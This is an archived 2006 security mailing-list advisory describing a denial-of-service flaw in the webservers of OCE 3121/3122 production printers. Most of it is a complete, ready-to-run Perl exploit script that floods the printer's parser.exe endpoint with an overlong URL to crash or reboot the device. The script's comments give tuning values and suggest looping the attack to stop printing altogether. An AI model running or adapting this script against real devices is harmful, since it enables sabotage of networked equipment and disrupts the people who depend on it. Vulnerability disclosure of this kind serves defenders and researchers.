Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[EXPL] OCE Printer Webserver DoS Exploit

Subject: [EXPL] OCE Printer Webserver DoS Exploit
Date: 1 May 2006 13:59:40 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  OCE Printer Webserver DoS Exploit
------------------------------------------------------------------------


SUMMARY

 <http://www.oceusa.com/> OCE 3121/3122 are production printing devices.

The printer runs a webserver to provide various printing tasks from Java 
enabled browsers. The server is vulnerable to a long URL request which 
will either reboot or crash the device.

DETAILS

Vulnerable Systems:
 * OCE 3121 and 3122 Printers.

Exploit:
#!/usr/bin/perl
#
#OCE 3121/3122 Printer DoS Exploit
#----------------------------
#By Herman Groeneveld aka sh4d0wman
#trancelover75 [AT] gmail.com
#
#Description: the printer runs a webserver to provide various printing 
tasks from
#java enabled browsers. Input is being filtered for bad characters.
#However it is vulnerable to a long url request. This will either reboot 
or crash the device.
#
#On crash, the "system" led on the printer changes from green to orange. 
No further printing is done
#until somebody resets the printer by flipping the powerswitch. E675 error 
displayed in printer display.
#On reboot, printing resumes after the device has completed it's reboot 
cycle.
#
#Crash is hard to accomplish. Play with the buffer input size. 261 worked 
at my printer.
#Values of 250/500/50000 are known to reboot the printer. No reliable size 
for crashing yet.
#
#Loop this exploit and printing will be nearly impossible. Tested: unhappy 
users. Not implemented.
#
#If you test this on your device, pls let me know the result. I had just 1 
printer to test it at ;)
#
#Discovered: 29/03/2006
#Target: tested against OCE 3121/3122 printer.
#Vendor: www.oce.com (no response)

        use IO::Socket;

        if (@ARGV != 3)
        {
        print "                                                            
   \n";
        print "         #OCE 3121/3122 Printer DoS Exploit#                
   \n";
        print 
"---------------------------------------------------------------\n";
        print " Usage: crashoce.pl <target ip> <target port> <request 
length> \n";
        print " Example: new.pl 127.0.0.1 80 250                           
   \n";
        print " Play with request length for reboot or crash effect.       
   \n\n";
        print "         #Coded by sh4d0wman 31/03/2006#                    
   \n";
        exit(1);
        }

        $targetip =$ARGV[0]; #user input, no much fun in attacking 
127.0.0.1 is it?
        $targetport =$ARGV[1]; #user input since vendor might change this 
some day, unlikely though  :-)
        $reqlength = $ARGV[2]; #user input since different sizes give 
different results

        print "[-] OCE 3122 Printer DoS Exploit\n\n";
        print "[-] Target IP: ";
        print $targetip;
        print "\n[-] Connecting to target IP...\n";

$socket = IO::Socket::INET->new(
        Proto => "tcp",
        PeerAddr => "$targetip",
        PeerPort => "$targetport"); unless ($socket) { die "- Could not 
connect. Check IP &             port. Hint: default port is 80!\n"}

print "[-] Connected to printer\n\n";

print "[-] Creating DoS request...\n";

$bufa='A'x$reqlength; #creating payload, length based on user input

print "[-] Sending request...\n\n";

print $socket "GET /parser.exe?".$bufa.".html"." HTTP/1.1\r\n\r\n";
        sleep 5; #Be advised! Printer reaction to exploit can take up to 
30 sec. Pls, be patient...

print "[>]Attack completed! Printer in error state or rebooting.\n";
close($socket);


ADDITIONAL INFORMATION

The original article can be found at:  
<http://www.milw0rm.com/exploits/1718> 
http://www.milw0rm.com/exploits/1718



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [EXPL] OCE Printer Webserver DoS Exploit, SecuriTeam <=